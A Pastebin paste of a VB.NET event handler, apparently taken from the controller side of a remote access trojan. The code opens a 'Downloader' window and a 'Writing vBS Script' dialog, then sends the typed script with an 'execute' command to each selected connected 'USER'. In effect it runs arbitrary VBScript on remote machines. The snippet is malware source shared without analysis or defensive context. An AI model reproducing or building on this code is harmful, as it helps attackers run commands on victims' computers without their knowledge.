SecurityNajaf

#IL_Code 8920

Jan 18th, 2014
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.15 KB | None | 0 0
  1. Private Sub VBSScriptToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles VBSScriptToolStripMenuItem.Click
  2.         Try
  3.             Dim fLrOm As New Downloader
  4.             fLrOm.Show(Me)
  5.         Catch : End Try
  6.         Try
  7.             If (Me.Lv1.SelectedItems.Count <> 0) Then
  8.                 Dim form As New Form
  9.                 Dim box2 As New TextBox
  10.                 box2.Dock = DockStyle.Fill
  11.                 box2.ScrollBars = ScrollBars.Both
  12.                 box2.Multiline = True
  13.                 box2.Name = "T"
  14.                 Dim box As TextBox = box2
  15.                 Dim button3 As New Button
  16.                 button3.Text = "Execute"
  17.                 button3.Dock = DockStyle.Bottom
  18.                 Dim button As Button = button3
  19.                 button3 = New Button
  20.                 button3.Text = "Cancel"
  21.                 button3.Dock = DockStyle.Bottom
  22.                 Dim button2 As Button = button3
  23.                 form.Controls.AddRange(New Control() {box, button, button2})
  24.                 form.Tag = ""
  25.                 form.Icon = Me.Icon
  26.                 AddHandler button.Click, New EventHandler(AddressOf gug)
  27.                 AddHandler button2.Click, New EventHandler(AddressOf hug)
  28.                 form.Text = "Writing vBS Script"
  29.                 form.ShowDialog(Me)
  30.                 If Operators.ConditionalCompareObjectNotEqual(form.Tag, "", False) Then
  31.                     Dim enumerator As IEnumerator
  32.                     Try
  33.                         enumerator = Me.Lv1.SelectedItems.GetEnumerator
  34.                         Do While enumerator.MoveNext
  35.                             Dim user As USER = DirectCast(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(enumerator.Current), Nothing, "tag", New Object(0 - 1) {}, Nothing, Nothing, Nothing), USER)
  36.                             Dim s As String = Conversions.ToString(Me.httpconvert(Conversions.ToString(Operators.ConcatenateObject(("execute" & Me.Y), form.Tag))))
  37.                             user.Send(s)
  38.                         Loop
  39.                     Finally
  40.                     End Try
  41.                 End If
  42.             End If
  43.         Catch : End Try
  44.     End Sub
Advertisement
Add Comment
Please, Sign In to add comment